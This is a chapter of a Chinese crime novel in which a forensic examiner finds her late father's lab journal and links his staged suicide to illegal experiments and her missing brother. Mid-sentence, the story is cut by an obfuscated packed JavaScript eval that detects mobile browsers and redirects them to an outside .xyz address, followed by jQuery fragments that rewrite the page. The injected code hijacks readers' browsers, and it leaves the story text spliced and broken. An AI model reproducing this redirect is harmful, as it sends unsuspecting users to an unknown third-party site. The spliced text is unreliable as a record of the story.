雨夜的水洼映出警灯扭曲的倒影。沈昭站在自家公寓门前，钥匙悬在半空，目光锁定在门边那个牛皮纸包裹上。没有快递标签，没有署名，只有雨水在纸面上晕开的痕迹。
她的左手开始颤抖，腕部的疤痕泛起不自然的红晕。六年前的雨夜记忆碎片再次闪回——实验室、无影灯、父亲最后那个电话...
包裹很轻。沈昭戴上随身携带的乳胶手套，小心拆开。一本泛黄的实验日志滑落出来，封面上的字迹让她的呼吸瞬间停滞：
「沈明远实验记录2001.3-2002.9」
父亲的字迹。
雨水顺着她的发梢滴落在封面上，晕染开一片深色的痕迹。沈昭颤抖着翻开第一页，刺鼻的霉味中混杂着某种化学药剂的气息。内页的边角已经卷曲，但字迹依然清晰：
「EDTA浓度梯度实验：0.5%EDTA+0.05%硫喷妥钠可显著延缓血液腐败，同时保持细胞膜完整性...」
沈昭的膝盖一软，后背撞在墙上。这个配比——与烂尾楼尸体血液中的成分分毫不差。
她疯狂地翻动页面，直到一张照片从中滑落：年轻的父亲站在实验室里，身旁是戴着金丝眼镜的吴志明。照片背面写着日期「2002.7.15」和一行小字：「记忆干预项目组留念」。
日期像一把尖刀刺入沈昭的太阳穴。2002年7月15日——父亲‘自杀’前三天。
手机在包里震动。程野的名字在屏幕上闪烁。沈昭机械地按下接听键。
“沈昭？我们搜查了旧实验楼地下层，发现...”程野的声音突然停住，“你还好吗？”
沈昭的视线无法从实验日志上移开：“程野...我父亲...他认识吴志明。”
电话那头沉默了两秒：“待在原地，我马上到。”
二十分钟后，程野的黑色SUV急刹在公寓楼下。他三步并作两步冲上楼梯，却在门口猛地停住——沈昭蜷缩在墙角，怀里紧抱着那本日志，脸色苍白如纸。她抬头时，程野第一次在她眼中看到了某种他从未想过会看到的东西：恐惧。
“这里不是说话的地方。”程野环顾走廊，伸手拉起沈昭，“车在下面。”
车内暖气开到最大，沈昭的手指依然冰冷。程野递给她一个保温杯，里面是熟悉的姜茶。
“从头说。”他的声音出奇地平静。
沈昭翻开日志中间一页："看这个实验设计——用EDTA和硫喷妥钠处理血液样本，配合特定角度的切口...与烂尾楼尸体的处理手法完全一致。"她的指尖停在一张数据表上，“这是我父亲二十年前的研究。”
程野接过日志，眉头越皱越紧：“日期是2002年9月...你父亲是...”
“2002年9月28日被发现在办公室自杀。”沈昭的声音像从很远的地方传来，“现场有一瓶打翻的□□和半本被撕毁的实验笔记。”
程野猛地抬头：“半本？”
“警方记录显示，关键页码被撕掉了。”沈昭指向日志上一处明显的撕痕，“就像这一页。”
程野快速翻到最后几页。在最后一篇记录后，有几行潦草的、不同于之前工整字迹的笔记：
「实验失控。7号出现严重逆反应。吴坚持继续...必须阻止...」
笔记在此中断。下一页被整张撕去，只留下一点残角，上面隐约可见一个化学式片段。
“7号...”程野轻声重复，“和网吧纸条上的‘实验组7号数据异常’对上了。”
沈昭突然抓住他的手臂：“去档案室。现在。”
---
海州市公安局旧档案库的霉味比实验日志更浓。程野推开‘2002年未结案件’区的铁柜，灰尘在灯光下飞舞。
“沈明远...沈明远...”他的手指划过一个个档案袋，“在这里。”
牛皮纸档案袋上印着‘自杀结案’的红章。沈昭接过时，左手不受控制地颤抖，档案袋掉在地上，散落出一叠照片。
二十年前的现场照片。父亲伏在办公桌上，嘴角有白色泡沫，右手边是倾倒的烧杯。但沈昭的目光锁定在照片角落——桌面上那半本实验笔记的撕痕，与她刚刚收到的日志完全吻合。
“这不是自杀。”她听见自己说，“有人撕走了关键证据。”
程野蹲下身，仔细检查每张照片：“法医报告呢？”
沈昭翻出一份泛黄的文件：“血液中检出□□，认定为口服中毒。但...”她的声音突然变了，“没有检测EDTA或硫喷妥钠。”
“2002年的毒理筛查项目有限。”程野沉思道，“如果是用你父亲自己的配方...”
“可以伪装成简单□□中毒。”沈昭接上他的话，胃部一阵绞痛。
程野继续翻找，突然抽出一份附件：“这是什么？举报信复印件？”
纸张已经变脆，但字迹仍可辨认：
「举报海州医学院神经药理实验室进行非法人体实验...实验对象出现严重记忆损伤及自杀倾向...主要责任人吴志明...举报人：沈明远」
日期是2002年9月26日——父亲死亡前两天。
“举报后两天就‘自杀’了？”程野的眉头拧成结，“太巧了。”
沈昭的眼前闪过父亲最后的笑脸——那个雨夜，他说“加班完就回来“，却再也没能回家。她一直以为父亲是因工作压力自杀，从未想过...
“程野，”她的声音嘶哑，“吴志明杀了我父亲。”
程野的手机突然响起。他接听后，脸色越来越凝重：“知道了，马上回去。”
挂断电话，他看向沈昭：“技术科恢复了旧实验楼的部分监控。有人在那里长期活动，而且...他们发现了一个名字。”
“什么名字？”
“沈星辰。”程野紧盯着她的反应，“认识吗？”
沈昭的世界突然倾斜。那个被深埋的名字像一颗子弹击中她的太阳穴。
“我哥哥。”她的声音轻得几乎听不见，“他比我大八岁，二十年前...失踪了。”
程野的瞳孔微微扩大：“失踪时间？”
“2002年9月25日。”沈昭机械地回答，“父亲自杀前三天。”
两人沉默地对视，所有线索在这一刻串联成一条清晰的线：父亲举报实验→哥哥失踪→父亲被杀→证据被毁。而二十年后，有人用父亲的研究手法开始复仇...
“先回局里。”程野抓起档案，“我们需要查清沈星辰的下落。”
---
法医中心的灯光比平时更加刺眼。沈昭站在解剖台前，手中的解剖刀在无影灯下闪着冷光。台面上是第三具尸体——今早在城东河道发现的男性，体表有与烂尾楼死者相同的处理痕迹。
“死者男性，约35岁，身高178cm...”她的声音在空荡的解剖室里回荡，录音笔忠实地记录着每个字。
但当刀尖触及死者颈部切口时，她的手突然剧烈颤抖起来。那个精确的十五度角——与父亲日志中描述的‘最佳神经暴露角度’一模一样。
解剖刀当啷一声掉在托盘里。沈昭抓住解剖台边缘，汗水顺着她的太阳穴滑下。二十年来建立的专业壁垒在这一刻崩塌——她无法继续，无法面对这个可能是父亲创造、又被凶手复活的恶魔手法。
“你的专业不会骗人。”
一个声音从身后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540723|170966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传来。程野站在门口，手里拿着熟悉的保温杯。他走近，将杯子放在远离解剖台的架子上。
“那不是你父亲的错。”他轻声说，“科学只是工具，邪恶的是使用它的人。”
沈昭的双手仍在颤抖：“我解剖过上百具尸体，从未怀疑过自己的判断。但现在...”她看向死者被精确处理的伤口，“如果连专业都在说谎，我还能相信什么？”
程野出人意料地戴上手套：“那就用更基础的方法。忘记理论，只看事实。”他指向死者颈部，“这个切口，抛开所有预设，单纯描述它。”
沈昭深吸一口气，强迫自己回到最基础的法医观察：
“切口长度4.5厘米，角度15度，深度...”她的声音逐渐稳定，“深度精确避开颈动脉，但暴露迷走神经...这是...”
“是什么？”
“外科医生或解剖学专家的手法。”沈昭的思维逐渐清晰，“凶手受过专业训练。”
程野点头：“像你哥哥那样的医学院学生？”
沈昭猛地抬头：“沈星辰当年只是大一新生，不可能掌握这种技术。”
“但如果他活下来了呢？”程野反问，“如果这二十年他一直在练习？”
解剖室的门突然被敲响。齐小菲探头进来：“程队，沈法医，柯北发现了重要线索！”
会议室的大屏幕上显示着一份电子档案。柯北兴奋地推着眼镜：“我黑进了医学院的老式服务器，找到了2002年的部分学生记录。看这个！”
屏幕上的照片让沈昭的血液凝固——年轻版的自己，却有着男性的硬朗轮廓。照片旁的姓名栏赫然写着：沈星辰，神经药理系大一。
“他在吴志明的实验课名单里。”柯北调出另一份文件，“而且...看这个出勤记录。”
2002年9月25日后的所有记录都被标记为‘休学’。
“同一天，吴志明实验室发生‘设备故障’，所有实验数据被毁。”柯北继续道，“而三天后，你父亲...”
“被谋杀。”沈昭轻声说。
程野的手机突然震动。他看了一眼，脸色骤变：“技术科刚发来消息，你公寓楼下的监控显示，放下那个包裹的人是...”
“戴着Supreme帽子。”沈昭已经猜到了，“左腿跛行。”
程野摇头：“不，这次是右腿。而且...”他犹豫了一下，“监控拍到了他手腕上的疤痕。”
沈昭的左腕突然传来一阵剧痛。那个疤痕——与她的一模一样。
“沈星辰还活着。”程野的声音异常坚定，“而且他认为...你在某种程度上背叛了父亲的遗志。”
沈昭想起日志最后一页被撕去的部分。那里一定藏着真相——关于实验组7号，关于父亲死亡的真正原因，也许还有...哥哥失踪的答案。
“我需要回公寓。”她突然说，“那里可能还有线索。”
程野想反对，但最终只是点头：“我陪你一起去。”
当他们回到沈昭的公寓楼下时，夜已经深了。楼道里的感应灯忽明忽暗，照出门口地面上一个新出现的物件——一个Supreme的鞋盒，上面用红笔画着一个化学分子式：EDTA的结构式。
鞋盒里是一张照片：年轻的沈星辰站在父亲身边，两人手中拿着‘海州市青少年科学竞赛一等奖’的奖状。照片背面写着一行字：
「父亲的阴影里，藏着所有答案。——7号」
沈昭的左手腕疤痕突然灼烧般疼痛起来。她终于明白了——那个疤痕不是伤痕，而是标记。实验组7号的标记。
而她，很可能就是父亲日志中那个‘出现严重逆反应’的实验组7号。